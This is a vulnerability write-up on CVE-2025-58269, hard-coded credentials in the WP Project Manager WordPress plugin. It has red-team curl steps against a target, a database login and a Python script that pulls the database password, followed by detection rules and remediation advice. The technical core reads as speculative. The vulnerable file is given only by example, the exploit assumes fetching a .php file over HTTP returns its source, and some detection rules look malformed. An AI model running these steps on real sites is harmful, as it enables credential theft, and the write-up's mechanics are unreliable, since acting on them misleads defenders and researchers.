CVE-2025-58269

Executive Summary

CVE-2025-58269 is a Use of Hard-coded Credentials vulnerability in the WordPress plugin "WP Project Manager" by weDevs. This flaw allows an unauthenticated attacker to retrieve embedded sensitive data (e.g., database credentials, API keys) by exploiting static credentials hard-coded in the plugin's source code. The vulnerability affects all versions up to and including 2.6.25. As of this report, no official patch has been released, and the vendor has not acknowledged the issue. The CVSS score is 5.3 (Medium), but the actual risk is elevated due to the potential for data exfiltration and lateral movement within WordPress ecosystems.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users who installed the plugin via the WordPress admin dashboard or automated deployment tools (e.g., Composer, WP-CLI) are affected. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. However, in the context of WordPress, hard-coded credentials can lead to database access, privilege escalation, or lateral movement to other plugins/themes.

Deep Dive & Mechanics

The vulnerability resides in the wedevs-project-manager plugin's core configuration files. The plugin includes a file (e.g., config.php or bootstrap.php) that contains hard-coded credentials for internal services (e.g., database connections, API endpoints). These credentials are not obfuscated and can be extracted by reading the source code directly.

Attack Vector:

1. An attacker identifies a WordPress site running the vulnerable plugin.
2. The attacker accesses the plugin's source code via direct file read (e.g., wp-content/plugins/wedevs-project-manager/config.php).
3. The attacker extracts the hard-coded credentials.
4. The attacker uses these credentials to access backend services (e.g., MySQL database, external APIs).

Root Cause: The developer embedded static credentials in the plugin code instead of using environment variables or secure configuration management.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.6.25):

// config.php
define('WPPM_DB_USER', 'root');
define('WPPM_DB_PASS', 'password123');
define('WPPM_API_KEY', 'sk_live_1234567890abcdef');

Patched Code (Hypothetical):

// config.php
define('WPPM_DB_USER', getenv('WPPM_DB_USER') ?: '');
define('WPPM_DB_PASS', getenv('WPPM_DB_PASS') ?: '');
define('WPPM_API_KEY', getenv('WPPM_API_KEY') ?: '');

Explanation: The patched version uses environment variables to inject credentials at runtime, preventing static exposure.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with WP Project Manager <= 2.6.25 installed.
• Network access to the WordPress site.

Exploitation Steps:

1. Enumerate the plugin version:

   curl -s http://target/wp-content/plugins/wedevs-project-manager/readme.txt | grep "Stable tag"
   

2. Directly access the configuration file:

   curl http://target/wp-content/plugins/wedevs-project-manager/config.php
   

3. Extract credentials from the response (e.g., WPPM_DB_PASS).
4. Use the credentials to connect to the database:

   mysql -h target_db_host -u root -p'password123' wordpress_db
   

Automated Exploit (Python):

import requests
import re

target = "http://target"
config_url = f"{target}/wp-content/plugins/wedevs-project-manager/config.php"
response = requests.get(config_url)
if response.status_code == 200:
    db_pass = re.search(r"define\('WPPM_DB_PASS',\s*'([^']+)'\)", response.text)
    if db_pass:
        print(f"Database password: {db_pass.group(1)}")

Blue Team

Detection:

• Monitor for direct access to plugin configuration files (e.g., config.php, bootstrap.php).
• Alert on unusual database connections from the WordPress server to internal databases.

Hunting:

• Search for hard-coded credentials in WordPress plugin directories:

  grep -r "define.*DB_PASS" /var/www/html/wp-content/plugins/
  

• Check for unauthorized database queries originating from the web server.

Indicators of Compromise (IOCs)

• File Access: wp-content/plugins/wedevs-project-manager/config.php
• Network Traffic: Outbound connections to database servers (e.g., MySQL port 3306) from the web server.
• Log Entries: HTTP 200 responses to config.php from non-admin IPs.
• Credentials: Strings matching WPPM_DB_PASS, WPPM_API_KEY in logs or source code.

Detection Engineering

YARA Rule

rule CVE_2025_58269_Hardcoded_Credentials {
    meta:
        description = "Detects hard-coded credentials in WP Project Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58269"
    strings:
        $cred1 = "WPPM_DB_USER" ascii wide nocase
        $cred2 = "WPPM_DB_PASS" ascii wide nocase
        $cred3 = "WPPM_API_KEY" ascii wide nocase
    condition:
        any of ($cred*)
}

Sigma Rule

title: CVE-2025-58269 - Hard-coded Credentials Access
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects access to WP Project Manager config file
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/wp-content/plugins/wedevs-project-manager/config.php"
    condition: selection
falsepositives:
    - Legitimate admin access
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58269 - WP Project Manager Config Access"; flow:to_server,established; content:"/wp-content/plugins/wedevs-project-manager/config.php"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Remove hard-coded credentials from the plugin files and replace with environment variables.
3. Rotate any exposed credentials (database passwords, API keys).

Long-term Fix:

• Apply the hypothetical patch above or wait for an official update from weDevs.
• Implement a Web Application Firewall (WAF) rule to block access to plugin configuration files.

Workaround:

• Use .htaccess to deny direct access to plugin files:

  <FilesMatch "config\.php$">
      Order Deny,Allow
      Deny from all
  </FilesMatch>
  

Valters IT
Securing WordPress Ecosystems